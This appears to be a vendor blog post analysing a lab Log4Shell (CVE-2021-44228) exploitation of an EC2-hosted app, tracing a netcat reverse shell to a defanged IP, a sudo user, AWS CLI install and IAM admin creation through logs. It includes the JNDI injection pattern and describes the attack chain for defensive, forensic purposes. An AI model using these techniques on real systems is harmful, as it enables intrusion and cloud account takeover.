AWS Account Takeover via Log4Shell

We installed Log4j on AWS, and then hacked it. Here's what we learned.

Apache's Log4j logging utility has received widespread media attention in the last few weeks due to a critical (and easily exploitable) zero-day vulnerability (CVE-2021-44228) discovered in its JNDI (Java Naming and Directory Interface) message lookup method. The exposure enables a remote attacker to send specially crafted messages to vulnerable web servers to trigger unauthenticated code execution through JNDI injection and, most commonly, the LDAP protocol. When a vulnerable web server receives a request with the string (for example) ${jndi:ldap://<host>:<port>/<commands>...} within an HTTP header or as part of URL, the server will log the request and send an LDAP query to an attacker-controlled LDAP server. The query will generally contain the commands specified in the JNDI:LDAP string, which the vulnerable server then fetches, deserializes, and executes within the user context running the vulnerable application, resulting in arbitrary remote code execution.

In this blog, we will present a scenario in which exploiting a vulnerable Log4j application results in the takeover of an AWS account. Certain conditions must be present to achieve a complete AWS account takeover through the Log4j vulnerability, and we are by no means suggesting that a link between Log4j2 and AWS exists. However, we intend to show you that a vulnerable Log4j2 application hosted in AWS (or any other public cloud), paired with poor security practices, could make this scenario a reality.

Setting Up the Environment

We executed all the steps outlined in this blog in a lab environment to show the vulnerability's ease of exploitation, severity, and potential impacts.

We used a slightly modified version of @christophetd's Log4Shell Vulnerable App deployed as a Docker container in an EC2 instance for our vulnerable application. We also deployed a virtual machine in Digital Ocean to send JNDI injection requests to the vulnerable app and serve the exploit code that the vulnerable app would later fetch upon receiving the injection request.

We ran the JNDIExploit in a virtual machine in Digital Ocean to server malicious LDAP queries received from the vulnerable app and deliver our initial exploit code. Additionally, we set up a Netcat listener on the same server to control the vulnerable server remotely following successful exploit execution.

Log4j exploit AWS architecture
Our Log4j exploit AWS architecture

The Exploit

We used a straightforward exploit code to establish a Netcat reverse shell to the app's Docker container. Once inside the container, the AWS CLI allowed us full access to all AWS resources within the account through the IAM role attached to the EC2 instance running the container.

The Attack

To establish the attack timeline, we analyzed the following log files in Gigasheet:

  • Docker container application log

  • Docker container OS logs (syslog and dpkg.log)

  • AWS CloudTrail logs

The Docker container application log file contains the Log4j2 logs, which combine Java multiline and Apache weblogs. The vulnerable app comes with a Log4j2 logger that will trigger when the application receives web requests with the X-Api-Version HTTP header set. Under this scenario, the Log4j2 logger will record an informational (INFO) log message with the value of the X-Api-Version header. By applying a filter that looks for the keyword INFO in column A, we can essentially identify all the requests that Log4j2 logged:

Requests that Log4j logged
Requests that Log4j logged

Let's take a look at the following log message:


This log instructs the vulnerable application to send an LDAP query for the Base64-encoded value in the URL path to over port 1389. Upon receiving the LDAP query, the malicious LDAP server ( will serve the exploit code over port TCP 8888. The Base64 values in the X-Api-Version headers are essentially the commands we want the vulnerable app server to execute.

Split on / to isolate Base64 strings
Split on / to isolate Base64 strings

We can use Gigasheet's split column function using the forward-slash (/) as a separator to place the Base64 values in a separate column. We can then export the results and copy the column containing the Base64 values (removing the ending curly bracket) into a decoder to reveal the commands sent to the server.

Note: Base64 decoding is coming to Gigasheet soon! The new decoding function will automatically search a given columns for any Base64 string and decode it. Expected release is Dec 2021.
Decoding Base64 strings
Decoding Base64 strings

The commands below indicate that a script named containing a netcat reverse shell to 143[.]244[.]161[.]235:9001 was placed in the Docker container's /tmp directory and later executed twice in an attempt to access the container.

Decoded Values
Decoded Values

Unfortunately, the Log4j2 logs will not tell us what happened inside the Docker container following successful reverse shell execution. Still, we can switch to the Docker container operating system logs to attempt to complete the timeline.

The first reverse shell execution took place at 10:59:45.829 on 2021-12-18, as indicated by the following log:

Log4j exploit AWS analysis

Let's look at the Docker container's syslog file. Approximately fifteen minutes after executing the first reverse shell, a new user account named debian was created in the Docker container and added to the sudoers file.

Docker Syslog - Log4j Analysis

Switching to the dpkg.log file, we see that various packages were installed on the Docker container, such as the AWS CLI and net-tools, following the creation of the debian user account.

dpkg.log - Log4j Exploit

The AWS CLI installation may suggest that the attacker attempted to access AWS resources from the Docker container by invoking AWS' APIs. Therefore, we can switch to the AWS CloudTrail logs to complete the timeline. We are only interested in CloudTrail events that occurred after the AWS CLI installation on the Docker container, so we apply a filter to the Event Time column to display logs timestamped 11:16 or later on 12/18/2021.

Event time filter

Log filter results

The first CloudTrail log indicates that an AWS role named Ec2s3readonly was used to return a set of temporary security credentials on resource I-0e300dd817f3a1329, the EC2 instance running the Docker container with the vulnerable app. These temporary credentials were later used to query various AWS APIs, create an IAM user account with administrative privileges to all AWS resources, and access the AWS console via a web browser.

IAM account creation with admin privileges

Grouping by the User Name column will quickly reveal the new IAM user that was not part of our AWS account before the Docker container compromise. This account logged into the AWS Console approximately 55 minutes following the first reverse shell execution.

Group By User Name
Group By User Name

The Weakness

The AWS account takeover was possible because a highly privileged IAM role had been assigned to the EC2 instance running the vulnerable Docker container app. While the Log4j2 vulnerability allowed initial access to the Docker container, the privileged IAM role enabled lateral movement and ultimately a total compromise of the AWS account.

Create your free Gigasheet account today!

Log4Shell AWS Account Takeover